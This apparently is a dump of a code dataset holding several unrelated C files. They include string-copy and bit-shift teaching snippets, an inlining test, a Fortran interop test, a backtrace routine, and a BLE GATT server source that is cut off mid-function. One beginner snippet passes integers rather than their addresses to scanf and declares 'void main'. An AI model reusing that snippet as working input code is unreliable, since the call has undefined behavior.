file
stringlengths
18
26
data
stringlengths
2
1.05M
the_stack_data/168892963.c
#include <stdio.h> #include <string.h> int main () { char src[50]; char dest[100]; memset(dest, '\0', sizeof(dest)); // Garbage 값이 들어있을 수 있으니, null로 초기화를 해줌 strcpy(src, "Operating Systems are Amazing, aren't they?"); printf("Before strcpy:\nSRC: %s\nDEST: %s\n\n", src, dest); strcpy(dest, src); // 방향주의! 왼쪽으로 <- 오른쪽에서 복사 printf("After strcpy:\nSRC: %s\nDEST: %s\n", src, dest); return(0); }
the_stack_data/268179.c
int M() { return 78; } int M1() { return 79; } int F(int X) { /* M() is inlined below */ int R4; #pragma spf assert nomacro { R4 = 78; } /* M1() is inlined below */ int R5; #pragma spf assert nomacro { R5 = 79; } return X + R4 + R5; } int main() { int x = 0; /* M() is inlined below */ int R0; #pragma spf assert nomacro { R0 = 78; } /* F(M()) is inlined below */ int R3; #pragma spf assert nomacro { int X0 = R0; /* M() is inlined below */ int R1; #pragma spf assert nomacro { R1 = 78; } /* M1() is inlined below */ int R2; #pragma spf assert nomacro { R2 = 79; } R3 = X0 + R1 + R2; } x += R3; return 0; }
the_stack_data/82951191.c
//82.Predict the output: #include<stdio.h> int main() { int x=1,z; int y = x<<3; printf("%d",y); return 0; } //O/P //8
the_stack_data/14199568.c
#include <stdio.h> int une_globale = 40; int main(void) { printf("La globale vaut: %d\n", une_globale); return (0); }
the_stack_data/67863.c
#include <stdlib.h> #include <stdint.h> /* interopse with myftype_1 */ typedef struct { float val1; double val2; long double val3; float _Complex val4; double _Complex val5; long double _Complex val6; _Bool val7; /* FIXME: Fortran define c_char as array of size 1. char val8; */ } myctype_t; extern void abort(void); void types_test1(void); void types_test2(void); void types_test3(void); void types_test4(void); void types_test5(void); void types_test6(void); void types_test7(void); void types_test8(void); /* declared in the fortran module */ extern myctype_t myVar; #define test(n)\ cchr->val##n = 1; types_test##n (); if (cchr->val##n != 2) abort (); int main(int argc, char **argv) { myctype_t *cchr; asm("":"=r"(cchr):"0"(&myVar)); test(1); test(2); test(3); test(4); test(5); test(6); cchr->val7 = 0; types_test7 (); if (cchr->val7 != 1) abort (); /*cchr->val8 = 0; types_test8 (); if (cchr->val8 != 'a') abort ();*/ return 0; }
the_stack_data/106418.c
// Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #include "backtrace.h" #if defined(__i386__) || defined(__clang__) // use GLIBC version, hope it works extern int backtrace(void **buffer, int size); #define HAVE_BACKTRACE #endif #if defined(__x86_64__) && !defined(__clang__) /** Written by Arne H. J. based on docs: http://www.kernel.org/pub/linux/devel/gcc/unwind/ http://www.codesourcery.com/public/cxx-abi/abi-eh.html http://refspecs.freestandards.org/LSB_3.1.0/LSB-Core-generic/LSB-Core-generic/libgcc-s-ddefs.html **/ #include <unwind.h> struct trace_context { void **array; int size; int index; }; static _Unwind_Reason_Code trace_fn(struct _Unwind_Context *ctxt, void *arg) { struct trace_context *tp = (struct trace_context *)arg; void *ip = (void *)_Unwind_GetIP(ctxt); if (ip == 0) { return _URC_END_OF_STACK; } if (tp->index <= tp->size) { // there's no point filling in the address of the backtrace() // function itself, that doesn't provide any extra information, // so skip one level if (tp->index > 0) { tp->array[tp->index - 1] = ip; } tp->index++; } else { return _URC_NORMAL_STOP; } return _URC_NO_REASON; // "This is not the destination frame" -> try next frame } #define HAVE_BACKTRACE int backtrace (void **array, int size) { struct trace_context t; t.array = array; t.size = size; t.index = 0; _Unwind_Backtrace(trace_fn, &t); return t.index - 1; } #endif // x86_64 #ifdef HAVE_BACKTRACE int FastOS_backtrace (void **array, int size) { return backtrace(array, size); } #else # warning "backtrace not supported on this CPU" int FastOS_backtrace (void **array, int size) { (void) array; (void) size; return 0; } #endif
the_stack_data/31388415.c
#include <stdio.h> void main() { int s,a,b,i; scanf("%d",&s); for(i = 0 ;i< s;i++) { scanf("%d %d",a,b); printf("%d ",a+b); } }
the_stack_data/90766640.c
/************************************************************************************************** ******* **************************************************************************************************/ /************************************************************************************************* Filename: gattservapp.c Revised: Revision: Description: This file contains the GATT Server Application. **************************************************************************************************/ #if ( HOST_CONFIG & ( CENTRAL_CFG | PERIPHERAL_CFG ) ) /******************************************************************************* INCLUDES */ #include "bcomdef.h" #include "linkdb.h" #include "gatt.h" #include "gatt_uuid.h" #include "gattservapp.h" /********************************************************************* MACROS */ /********************************************************************* CONSTANTS */ /********************************************************************* TYPEDEFS */ // Structure to keep Prepare Write Requests for each Client typedef struct { uint16 connHandle; // connection message was received on attPrepareWriteReq_t* pPrepareWriteQ; // Prepare Write Request queue } prepareWrites_t; // GATT Structure to keep CBs information for each service being registered typedef struct { uint16 handle; // Service handle - assigned internally by GATT Server CONST gattServiceCBs_t* pCBs; // Service callback function pointers } gattServiceCBsInfo_t; // Service callbacks list item typedef struct _serviceCBsList { struct _serviceCBsList* next; // pointer to next service callbacks record gattServiceCBsInfo_t serviceInfo; // service handle/callbacks } serviceCBsList_t; /********************************************************************* GLOBAL VARIABLES */ /********************************************************************* EXTERNAL VARIABLES */ /********************************************************************* EXTERNAL FUNCTIONS */ extern l2capSegmentBuff_t l2capSegmentPkt; /********************************************************************* LOCAL VARIABLES */ uint8 GATTServApp_TaskID; // Task ID for internal task/event processing uint8 appTaskID = INVALID_TASK_ID; // The task ID of an app/profile that // wants GATT Server event messages // Server Prepare Write table (one entry per each physical link) static prepareWrites_t prepareWritesTbl[MAX_NUM_LL_CONN]; // Maximum number of attributes that Server can prepare for writing per Client static uint8 maxNumPrepareWrites = 0; #ifdef PREPARE_QUEUE_STATIC static attPrepareWriteReq_t prepareQueue[MAX_NUM_LL_CONN*GATT_MAX_NUM_PREPARE_WRITES]; #endif // Callbacks for services static serviceCBsList_t* serviceCBsList = NULL; // Globals to be used for processing an incoming request //static uint8 attrLen; static uint16 attrLen; static uint8 attrValue[ATT_MTU_SIZE-1]; static attMsg_t rsp; /*** Defined GATT Attributes ***/ // GATT Service attribute static CONST gattAttrType_t gattService = { ATT_BT_UUID_SIZE, gattServiceUUID }; #ifndef HID_VOICE_SPEC // Service Changed Characteristic Properties static uint8 serviceChangedCharProps = GATT_PROP_INDICATE; #endif // Service Changed attribute (hidden). Set the affected Attribute Handle range // to 0x0001 to 0xFFFF to indicate to the client to rediscover the entire set // of Attribute Handles on the server. // Client Characteristic configuration. Each client has its own instantiation // of the Client Characteristic Configuration. Reads of the Client Characteristic // Configuration only shows the configuration for that client and writes only // affect the configuration of that client. static gattCharCfg_t indCharCfg[GATT_MAX_NUM_CONN]; #if defined ( TESTMODES ) static uint16 paramValue = 0; #endif /********************************************************************* Profile Attributes - Table */ // GATT Attribute Table static gattAttribute_t gattAttrTbl[] = { // Generic Attribute Profile { { ATT_BT_UUID_SIZE, primaryServiceUUID }, /* type */ GATT_PERMIT_READ, /* permissions */ 0, /* handle */ (uint8*)& gattService /* pValue */ }, #ifndef HID_VOICE_SPEC // Characteristic Declaration { { ATT_BT_UUID_SIZE, characterUUID }, GATT_PERMIT_READ, 0, &serviceChangedCharProps }, // Attribute Service Changed { { ATT_BT_UUID_SIZE, serviceChangedUUID }, 0, 0, NULL }, // Client Characteristic configuration { { ATT_BT_UUID_SIZE, clientCharCfgUUID }, GATT_PERMIT_READ | GATT_PERMIT_WRITE, 0, (uint8*)indCharCfg } #endif }; /********************************************************************* LOCAL FUNCTIONS */ static void gattServApp_ProcessMsg( gattMsgEvent_t* pMsg ); static bStatus_t gattServApp_ProcessExchangeMTUReq( gattMsgEvent_t* pMsg ); static bStatus_t gattServApp_ProcessFindByTypeValueReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ); static bStatus_t gattServApp_ProcessReadByTypeReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ); static bStatus_t gattServApp_ProcessReadReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ); static bStatus_t gattServApp_ProcessReadBlobReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ); static bStatus_t gattServApp_ProcessReadMultiReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ); static bStatus_t gattServApp_ProcessReadByGrpTypeReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ); static bStatus_t gattServApp_ProcessWriteReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ); static bStatus_t gattServApp_ProcessPrepareWriteReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ); static bStatus_t gattServApp_ProcessExecuteWriteReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ); static bStatus_t gattServApp_RegisterServiceCBs( uint16 handle, CONST gattServiceCBs_t* pServiceCBs ); static bStatus_t gattServApp_DeregisterServiceCBs( uint16 handle ); static bStatus_t gattServApp_SetNumPrepareWrites( uint8 numPrepareWrites ); static uint8 gattServApp_PrepareWriteQInUse( void ); static CONST gattServiceCBs_t* gattServApp_FindServiceCBs( uint16 service ); static bStatus_t gattServApp_EnqueuePrepareWriteReq( uint16 connHandle, attPrepareWriteReq_t* pReq ); static prepareWrites_t* gattServApp_FindPrepareWriteQ( uint16 connHandle ); static gattCharCfg_t* gattServApp_FindCharCfgItem( uint16 connHandle, gattCharCfg_t* charCfgTbl ); static pfnGATTReadAttrCB_t gattServApp_FindReadAttrCB( uint16 handle ); static pfnGATTWriteAttrCB_t gattServApp_FindWriteAttrCB( uint16 handle ); static pfnGATTAuthorizeAttrCB_t gattServApp_FindAuthorizeAttrCB( uint16 handle ); /********************************************************************* API FUNCTIONS */ // GATT App Callback functions static void gattServApp_HandleConnStatusCB( uint16 connHandle, uint8 changeType ); static bStatus_t gattServApp_WriteAttrCB( uint16 connHandle, gattAttribute_t* pAttr, uint8* pValue, uint16 len, uint16 offset ); /********************************************************************* PROFILE CALLBACKS */ // GATT Service Callbacks CONST gattServiceCBs_t gattServiceCBs = { NULL, // Read callback function pointer gattServApp_WriteAttrCB, // Write callback function pointer NULL // Authorization callback function pointer }; static gattServMsgCB_t s_GATTServCB = NULL; /********************************************************************* @fn GATTServApp_RegisterForMsgs @brief Register your task ID to receive event messages from the GATT Server Application. @param taskId - Default task ID to send events @return none */ void GATTServApp_RegisterForMsg( uint8 taskID ) { appTaskID = taskID; } /********************************************************************* @fn GATTServApp_Init @brief Initialize the GATT Server Application. @param taskId - Task identifier for the desired task @return none */ void GATTServApp_Init( uint8 taskId ) { GATTServApp_TaskID = taskId; // Initialize Client Characteristic Configuration attributes GATTServApp_InitCharCfg( INVALID_CONNHANDLE, indCharCfg ); // Initialize Prepare Write Table for ( uint8 i = 0; i < MAX_NUM_LL_CONN; i++ ) { // Initialize connection handle prepareWritesTbl[i].connHandle = INVALID_CONNHANDLE; // Initialize the prepare write queue prepareWritesTbl[i].pPrepareWriteQ = NULL; } // Set up the initial prepare write queues gattServApp_SetNumPrepareWrites( GATT_MAX_NUM_PREPARE_WRITES ); // Register to receive incoming ATT Requests GATT_RegisterForReq( GATTServApp_TaskID ); // Register with Link DB to receive link status change callback linkDB_Register( gattServApp_HandleConnStatusCB ); } /********************************************************************* @fn GATTServApp_ProcessEvent @brief GATT Server Application Task event processor. This function is called to process all events for the task. Events include timers, messages and any other user defined events. @param task_id - The OSAL assigned task ID. @param events - events to process. This is a bit map and can contain more than one event. @return none */ uint16 GATTServApp_ProcessEvent( uint8 task_id, uint16 events ) { if ( events & SYS_EVENT_MSG ) { osal_event_hdr_t* pMsg; if ( (pMsg = ( osal_event_hdr_t*)osal_msg_receive( GATTServApp_TaskID )) != NULL ) { // Process incoming messages switch ( pMsg->event ) { // Incoming GATT message case GATT_MSG_EVENT: gattServApp_ProcessMsg( (gattMsgEvent_t*)pMsg ); break; default: // Unsupported message break; } // Release the OSAL message VOID osal_msg_deallocate( (uint8*)pMsg ); } // return unprocessed events return (events ^ SYS_EVENT_MSG); } // Discard unknown events return 0; } /****************************************************************************** @fn GATTServApp_RegisterService @brief Register a service's attribute list and callback functions with the GATT Server Application. @param pAttrs - Array of attribute records to be registered @param numAttrs - Number of attributes in array @param pServiceCBs - Service callback function pointers @return SUCCESS: Service registered successfully. INVALIDPARAMETER: Invalid service field. FAILURE: Not enough attribute handles available. bleMemAllocError: Memory allocation error occurred. */ bStatus_t GATTServApp_RegisterService( gattAttribute_t* pAttrs, uint16 numAttrs, CONST gattServiceCBs_t* pServiceCBs ) { uint8 status; // First register the service attribute list with GATT Server if ( pAttrs != NULL ) { gattService_t service; service.attrs = pAttrs; service.numAttrs = numAttrs; status = GATT_RegisterService( &service ); if ( ( status == SUCCESS ) && ( pServiceCBs != NULL ) ) { // Register the service CBs with GATT Server Application status = gattServApp_RegisterServiceCBs( GATT_SERVICE_HANDLE( pAttrs ), pServiceCBs ); } } else { status = INVALIDPARAMETER; } return ( status ); } /****************************************************************************** @fn GATTServApp_DeregisterService @brief Deregister a service's attribute list and callback functions from the GATT Server Application. NOTE: It's the caller's responsibility to free the service attribute list returned from this API. @param handle - handle of service to be deregistered @param p2pAttrs - pointer to array of attribute records (to be returned) @return SUCCESS: Service deregistered successfully. FAILURE: Service not found. */ bStatus_t GATTServApp_DeregisterService( uint16 handle, gattAttribute_t** p2pAttrs ) { uint8 status; // First deregister the service CBs with GATT Server Application status = gattServApp_DeregisterServiceCBs( handle ); if ( status == SUCCESS ) { gattService_t service; // Deregister the service attribute list with GATT Server status = GATT_DeregisterService( handle, &service ); if ( status == SUCCESS ) { if ( p2pAttrs != NULL ) { *p2pAttrs = service.attrs; } } } return ( status ); } /********************************************************************* @fn GATTServApp_SetParameter @brief Set a GATT Server parameter. @param param - Profile parameter ID @param len - length of data to right @param pValue - pointer to data to write. This is dependent on the the parameter ID and WILL be cast to the appropriate data type (example: data type of uint16 will be cast to uint16 pointer). @return SUCCESS: Parameter set successful FAILURE: Parameter in use INVALIDPARAMETER: Invalid parameter bleInvalidRange: Invalid value bleMemAllocError: Memory allocation failed */ bStatus_t GATTServApp_SetParameter( uint8 param, uint8 len, void* pValue ) { bStatus_t status = SUCCESS; switch ( param ) { case GATT_PARAM_NUM_PREPARE_WRITES: if ( len == sizeof ( uint8 ) ) { if ( !gattServApp_PrepareWriteQInUse() ) { // Set the new nunber of prepare writes status = gattServApp_SetNumPrepareWrites( *((uint8*)pValue) ); } else { status = FAILURE; } } else { status = bleInvalidRange; } break; default: status = INVALIDPARAMETER; break; } return ( status ); } /********************************************************************* @fn GATTServApp_GetParameter @brief Get a GATT Server parameter. @param param - Profile parameter ID @param pValue - pointer to data to put. This is dependent on the parameter ID and WILL be cast to the appropriate data type (example: data type of uint16 will be cast to uint16 pointer). @return SUCCESS: Parameter get successful INVALIDPARAMETER: Invalid parameter */ bStatus_t GATTServApp_GetParameter( uint8 param, void* pValue ) { bStatus_t status = SUCCESS; switch ( param ) { case GATT_PARAM_NUM_PREPARE_WRITES: *((uint8*)pValue) = maxNumPrepareWrites; break; default: status = INVALIDPARAMETER; break; } return ( status ); } /********************************************************************* @fn gattServApp_SetNumPrepareWrites @brief Set the maximum number of the prepare writes. @param numPrepareWrites - number of prepare writes @return SUCCESS: New number set successfully. bleMemAllocError: Memory allocation failed. */ static bStatus_t gattServApp_SetNumPrepareWrites( uint8 numPrepareWrites ) { attPrepareWriteReq_t* pQueue; uint16 queueSize = ( MAX_NUM_LL_CONN * numPrepareWrites * sizeof( attPrepareWriteReq_t ) ); // First make sure no one can get access to the Prepare Write Table maxNumPrepareWrites = 0; // Free the existing prepare write queues if ( prepareWritesTbl[0].pPrepareWriteQ != NULL ) { #ifndef PREPARE_QUEUE_STATIC osal_mem_free( prepareWritesTbl[0].pPrepareWriteQ ); #endif // Null out the prepare writes queues for ( uint8 i = 0; i < MAX_NUM_LL_CONN; i++ ) { prepareWritesTbl[i].pPrepareWriteQ = NULL; } } // Allocate the prepare write queues #ifdef PREPARE_QUEUE_STATIC pQueue = prepareQueue; #else pQueue = osal_mem_alloc( queueSize ); #endif if ( pQueue != NULL ) { // Initialize the prepare write queues VOID osal_memset( pQueue, 0, queueSize ); // Set up the prepare write queue for each client (i.e., connection) for ( uint8 i = 0; i < MAX_NUM_LL_CONN; i++ ) { uint8 nextQ = i * numPrepareWrites; // Index of next available queue prepareWritesTbl[i].pPrepareWriteQ = &(pQueue[nextQ]); // Mark the prepare write request items as empty for ( uint8 j = 0; j < numPrepareWrites; j++ ) { prepareWritesTbl[i].pPrepareWriteQ[j].handle = GATT_INVALID_HANDLE; } } // Set the new number of prepare writes maxNumPrepareWrites = numPrepareWrites; return ( SUCCESS ); } return ( bleMemAllocError ); } /********************************************************************* @fn GATTServApp_FindAttr @brief Find the attribute record within a service attribute table for a given attribute value pointer. @param pAttrTbl - pointer to attribute table @param numAttrs - number of attributes in attribute table @param pValue - pointer to attribute value @return Pointer to attribute record. NULL, if not found. */ gattAttribute_t* GATTServApp_FindAttr( gattAttribute_t* pAttrTbl, uint16 numAttrs, uint8* pValue ) { for ( uint16 i = 0; i < numAttrs; i++ ) { if ( pAttrTbl[i].pValue == pValue ) { // Attribute record found return ( &(pAttrTbl[i]) ); } } return ( (gattAttribute_t*)NULL ); } /****************************************************************************** @fn GATTServApp_AddService @brief Add function for the GATT Service. @param services - services to add. This is a bit map and can contain more than one service. @return SUCCESS: Service added successfully. INVALIDPARAMETER: Invalid service field. FAILURE: Not enough attribute handles available. bleMemAllocError: Memory allocation error occurred. */ bStatus_t GATTServApp_AddService( uint32 services ) { uint8 status = SUCCESS; if ( services & GATT_SERVICE ) { // Register GATT attribute list and CBs with GATT Server Application status = GATTServApp_RegisterService( gattAttrTbl, GATT_NUM_ATTRS( gattAttrTbl ), &gattServiceCBs ); } return ( status ); } /****************************************************************************** @fn GATTServApp_DelService @brief Delete function for the GATT Service. @param services - services to delete. This is a bit map and can contain more than one service. @return SUCCESS: Service deleted successfully. FAILURE: Service not found. */ bStatus_t GATTServApp_DelService( uint32 services ) { uint8 status = SUCCESS; if ( services & GATT_SERVICE ) { // Deregister GATT attribute list and CBs from GATT Server Application status = GATTServApp_DeregisterService( GATT_SERVICE_HANDLE( gattAttrTbl ), NULL ); } return ( status ); } /****************************************************************************** @fn gattServApp_RegisterServiceCBs @brief Register callback functions for a service. @param handle - handle of service being registered @param pServiceCBs - pointer to service CBs to be registered @return SUCCESS: Service CBs were registered successfully. INVALIDPARAMETER: Invalid service CB field. bleMemAllocError: Memory allocation error occurred. */ static bStatus_t gattServApp_RegisterServiceCBs( uint16 handle, CONST gattServiceCBs_t* pServiceCBs ) { serviceCBsList_t* pNewItem; // Make sure the service handle is specified if ( handle == GATT_INVALID_HANDLE ) { return ( INVALIDPARAMETER ); } // Fill in the new service list pNewItem = (serviceCBsList_t*)osal_mem_alloc( sizeof( serviceCBsList_t ) ); if ( pNewItem == NULL ) { // Not enough memory return ( bleMemAllocError ); } // Set up new service CBs item pNewItem->next = NULL; pNewItem->serviceInfo.handle = handle; pNewItem->serviceInfo.pCBs = pServiceCBs; // Find spot in list if ( serviceCBsList == NULL ) { // First item in list serviceCBsList = pNewItem; } else { serviceCBsList_t* pLoop = serviceCBsList; // Look for end of list while ( pLoop->next != NULL ) { pLoop = pLoop->next; } // Put new item at end of list pLoop->next = pNewItem; } return ( SUCCESS ); } /****************************************************************************** @fn gattServApp_DeregisterServiceCBs @brief Deregister callback functions for a service. @param handle - handle of service CBs to be deregistered @return SUCCESS: Service CBs were deregistered successfully. FAILURE: Service CBs were not found. */ static bStatus_t gattServApp_DeregisterServiceCBs( uint16 handle ) { serviceCBsList_t* pLoop = serviceCBsList; serviceCBsList_t* pPrev = NULL; // Look for service while ( pLoop != NULL ) { if ( pLoop->serviceInfo.handle == handle ) { // Service CBs found; unlink it if ( pPrev == NULL ) { // First item in list serviceCBsList = pLoop->next; } else { pPrev->next = pLoop->next; } // Free the service CB record osal_mem_free( pLoop ); return ( SUCCESS ); } pPrev = pLoop; pLoop = pLoop->next; } // Service CBs not found return ( FAILURE ); } /********************************************************************* @fn gattServApp_FindServiceCBs @brief Find service's callback record. @param handle - owner of service @return Pointer to service record. NULL, otherwise. */ static CONST gattServiceCBs_t* gattServApp_FindServiceCBs( uint16 handle ) { serviceCBsList_t* pLoop = serviceCBsList; while ( pLoop != NULL ) { if ( pLoop->serviceInfo.handle == handle ) { return ( pLoop->serviceInfo.pCBs ); } // Try next service pLoop = pLoop->next; } return ( (gattServiceCBs_t*)NULL ); } /********************************************************************* @fn gattServApp_ProcessMsg @brief GATT Server App message processing function. @param pMsg - pointer to received message @return Success or Failure */ static void gattServApp_ProcessMsg( gattMsgEvent_t* pMsg ) { uint16 errHandle = GATT_INVALID_HANDLE; uint8 status; #if defined ( TESTMODES ) if ( paramValue == GATT_TESTMODE_NO_RSP ) { // Notify GATT that a message has been processed // Note: This call is optional if flow control is not used. GATT_AppCompletedMsg( pMsg ); // Just ignore the incoming request messages return; } #endif // Process the GATT server message switch ( pMsg->method ) { case ATT_EXCHANGE_MTU_REQ: status = gattServApp_ProcessExchangeMTUReq( pMsg ); break; case ATT_FIND_BY_TYPE_VALUE_REQ: status = gattServApp_ProcessFindByTypeValueReq( pMsg, &errHandle ); break; case ATT_READ_BY_TYPE_REQ: status = gattServApp_ProcessReadByTypeReq( pMsg, &errHandle ); break; case ATT_READ_REQ: status = gattServApp_ProcessReadReq( pMsg, &errHandle ); break; case ATT_READ_BLOB_REQ: status = gattServApp_ProcessReadBlobReq( pMsg, &errHandle ); break; case ATT_READ_MULTI_REQ: status = gattServApp_ProcessReadMultiReq( pMsg, &errHandle ); break; case ATT_READ_BY_GRP_TYPE_REQ: status = gattServApp_ProcessReadByGrpTypeReq( pMsg, &errHandle ); break; case ATT_WRITE_REQ: status = gattServApp_ProcessWriteReq( pMsg, &errHandle ); break; case ATT_PREPARE_WRITE_REQ: status = gattServApp_ProcessPrepareWriteReq( pMsg, &errHandle ); break; case ATT_EXECUTE_WRITE_REQ: status = gattServApp_ProcessExecuteWriteReq( pMsg, &errHandle ); break; default: // Unknown request - ignore it! status = SUCCESS; break; } // See if we need to send an error response back if ( status != SUCCESS ) { // Make sure the request was not sent locally if ( pMsg->hdr.status != bleNotConnected ) { attErrorRsp_t* pRsp = &rsp.errorRsp; pRsp->reqOpcode = pMsg->method; pRsp->handle = errHandle; pRsp->errCode = status; VOID ATT_ErrorRsp( pMsg->connHandle, pRsp ); } } // Notify GATT that a message has been processed // Note: This call is optional if flow control is not used. GATT_AppCompletedMsg( pMsg ); // if app task ask the gatt message, copy and send to app task if(s_GATTServCB) s_GATTServCB(pMsg); } /********************************************************************* @fn gattServApp_ProcessExchangeMTUReq @brief Process Exchange MTU Request. @param pMsg - pointer to received message @return Success */ static bStatus_t gattServApp_ProcessExchangeMTUReq( gattMsgEvent_t* pMsg ) { attExchangeMTURsp_t* pRsp = &rsp.exchangeMTURsp; // ATT_MTU shall be set to the minimum of the Client Rx MTU and Server Rx MTU values // Set the Server Rx MTU parameter to the maximum MTU that this server can receive #if defined ( TESTMODES ) if ( paramValue == GATT_TESTMODE_MAX_MTU_SIZE ) { pRsp->serverRxMTU = ATT_MAX_MTU_SIZE; } else #endif pRsp->serverRxMTU = g_ATT_MTU_SIZE_MAX;//ATT_MTU_SIZE; // Send response back VOID ATT_ExchangeMTURsp( pMsg->connHandle, pRsp ); return ( SUCCESS ); } /********************************************************************* @fn gattServApp_ProcessFindByTypeValueReq @brief Process Find By Type Value Request. @param pMsg - pointer to received message @param pErrHandle - attribute handle that generates an error @return Success or Failure */ static bStatus_t gattServApp_ProcessFindByTypeValueReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ) { attFindByTypeValueReq_t* pReq = &pMsg->msg.findByTypeValueReq; attFindByTypeValueRsp_t* pRsp = &rsp.findByTypeValueRsp; gattAttribute_t* pAttr; uint16 service; // Initialize the response VOID osal_memset( pRsp, 0, sizeof( attFindByTypeValueRsp_t ) ); // Only attributes with attribute handles between and including the Starting // Handle parameter and the Ending Handle parameter that match the requested // attribute type and the attribute value will be returned. // All attribute types are effectively compared as 128-bit UUIDs, // even if a 16-bit UUID is provided in this request or defined // for an attribute. pAttr = GATT_FindHandleUUID( pReq->startHandle, pReq->endHandle, pReq->type.uuid, pReq->type.len, &service ); while ( ( pAttr != NULL ) && ( pRsp->numInfo < g_ATT_MAX_NUM_HANDLES_INFO ) ) { uint16 grpEndHandle; // It is not possible to use this request on an attribute that has a value // that is longer than (ATT_MTU - 7). if ( GATTServApp_ReadAttr( pMsg->connHandle, pAttr, service, attrValue, &attrLen, 0, ((gAttMtuSize[pMsg->connHandle])-7) ) == SUCCESS ) { // Attribute values should be compared in terms of length and binary representation. if ( ( pReq->len == attrLen ) && osal_memcmp( pReq->value, attrValue, attrLen) ) { // New attribute found // Set the Found Handle to the attribute that has the exact attribute // type and attribute value from the request. pRsp->handlesInfo[pRsp->numInfo].handle = pAttr->handle; } } // Try to find the next attribute pAttr = GATT_FindNextAttr( pAttr, pReq->endHandle, service, &grpEndHandle ); // Set Group End Handle if ( pRsp->handlesInfo[pRsp->numInfo].handle != 0 ) { // If the attribute type is a grouping attribute, the Group End Handle // shall be defined by that higher layer specification. If the attribute // type is not a grouping attribute, the Group End Handle shall be equal // to the Found Attribute Handle. if ( pAttr != NULL ) { pRsp->handlesInfo[pRsp->numInfo++].grpEndHandle = grpEndHandle; } else { // If no other attributes with the same attribute type exist after the // Found Attribute Handle, the Group End Handle shall be set to 0xFFFF. pRsp->handlesInfo[pRsp->numInfo++].grpEndHandle = GATT_MAX_HANDLE; } } } // while if ( pRsp->numInfo > 0 ) { // Send a response back VOID ATT_FindByTypeValueRsp( pMsg->connHandle, pRsp ); return ( SUCCESS ); } *pErrHandle = pReq->startHandle; return ( ATT_ERR_ATTR_NOT_FOUND ); } /********************************************************************* @fn gattServApp_ProcessReadByTypeReq @brief Process Read By Type Request. @param pMsg - pointer to received message @param pErrHandle - attribute handle that generates an error @return Success or Failure */ static bStatus_t gattServApp_ProcessReadByTypeReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ) { attReadByTypeReq_t* pReq = &pMsg->msg.readByTypeReq; attReadByTypeRsp_t* pRsp = &rsp.readByTypeRsp; uint16 startHandle = pReq->startHandle; uint8 dataLen = 0; uint8 status = SUCCESS; // Only the attributes with attribute handles between and including the // Starting Handle and the Ending Handle with the attribute type that is // the same as the Attribute Type given will be returned. // Make sure there's enough room at least for an attribute handle (no value) while ( dataLen <= (gAttMtuSize[pMsg->connHandle]-4) ) { uint16 service; gattAttribute_t* pAttr; // All attribute types are effectively compared as 128-bit UUIDs, even if // a 16-bit UUID is provided in this request or defined for an attribute. pAttr = GATT_FindHandleUUID( startHandle, pReq->endHandle, pReq->type.uuid, pReq->type.len, &service ); if ( pAttr == NULL ) { break; // No more attribute found } // Update start handle so it has the right value if we break from the loop startHandle = pAttr->handle; // Make sure the attribute has sufficient permissions to allow reading status = GATT_VerifyReadPermissions( pMsg->connHandle, pAttr->permissions ); if ( status != SUCCESS ) { break; } // Read the attribute value. If the attribute value is longer than // (ATT_MTU - 4) or 253 octets, whichever is smaller, then the first // (ATT_MTU - 4) or 253 octets shall be included in this response. status = GATTServApp_ReadAttr( pMsg->connHandle, pAttr, service, attrValue, &attrLen, 0, (((gAttMtuSize[pMsg->connHandle]))-4) ); if ( status != SUCCESS ) { break; // Cannot read the attribute value } // See if this is the first attribute found if ( dataLen == 0 ) { // Use the length of the first attribute value for the length field pRsp->len = 2 + attrLen; } else { // If the attributes have attribute values that have the same length // then these attributes can all be read in a single request. if ( pRsp->len != 2 + attrLen ) { break; } } // Make sure there's enough room for this attribute handle and value if ( dataLen + attrLen > (((gAttMtuSize[pMsg->connHandle]))-4) ) { break; } // Add the handle value pair to the response pRsp->dataList[dataLen++] = LO_UINT16( pAttr->handle ); pRsp->dataList[dataLen++] = HI_UINT16( pAttr->handle ); VOID osal_memcpy( &(pRsp->dataList[dataLen]), attrValue, attrLen ); dataLen += attrLen; if ( startHandle == GATT_MAX_HANDLE ) { break; // We're done } // Update start handle and search again startHandle++; } // while // See what to respond if ( dataLen > 0 ) { // Set the number of attribute handle-value pairs found pRsp->numPairs = dataLen / pRsp->len; // Send a response back VOID ATT_ReadByTypeRsp( pMsg->connHandle, pRsp ); return ( SUCCESS ); } if ( status == SUCCESS ) { // Attribute not found -- dataLen must be 0 status = ATT_ERR_ATTR_NOT_FOUND; } *pErrHandle = startHandle; return ( status ); } /********************************************************************* @fn gattServApp_ProcessReadReq @brief Process Read Request. @param pMsg - pointer to received message @param pErrHandle - attribute handle that generates an error @return Success or Failure */ static bStatus_t gattServApp_ProcessReadReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ) { attReadReq_t* pReq = &pMsg->msg.readReq; gattAttribute_t* pAttr; uint16 service; uint8 status; pAttr = GATT_FindHandle( pReq->handle, &service ); if ( pAttr != NULL ) { attReadRsp_t* pRsp = &rsp.readRsp; // Build and send a response back. If the attribute value is longer // than (ATT_MTU - 1) then (ATT_MTU - 1) octets shall be included // in this response. status = GATTServApp_ReadAttr( pMsg->connHandle, pAttr, service, pRsp->value, &pRsp->len, 0, (((gAttMtuSize[pMsg->connHandle]))-1) ); if ( status == SUCCESS ) { // Send a response back VOID ATT_ReadRsp( pMsg->connHandle, pRsp ); } } else { status = ATT_ERR_INVALID_HANDLE; } if ( status != SUCCESS ) { *pErrHandle = pReq->handle; } return ( status ); } /********************************************************************* @fn gattServApp_ProcessReadBlobReq @brief Process Read Blob Request. @param pMsg - pointer to received message @param pErrHandle - attribute handle that generates an error @return Success or Failure */ static bStatus_t gattServApp_ProcessReadBlobReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ) { attReadBlobReq_t* pReq = &pMsg->msg.readBlobReq; gattAttribute_t* pAttr; uint16 service; uint8 status; pAttr = GATT_FindHandle( pReq->handle, &service ); if ( pAttr != NULL ) { 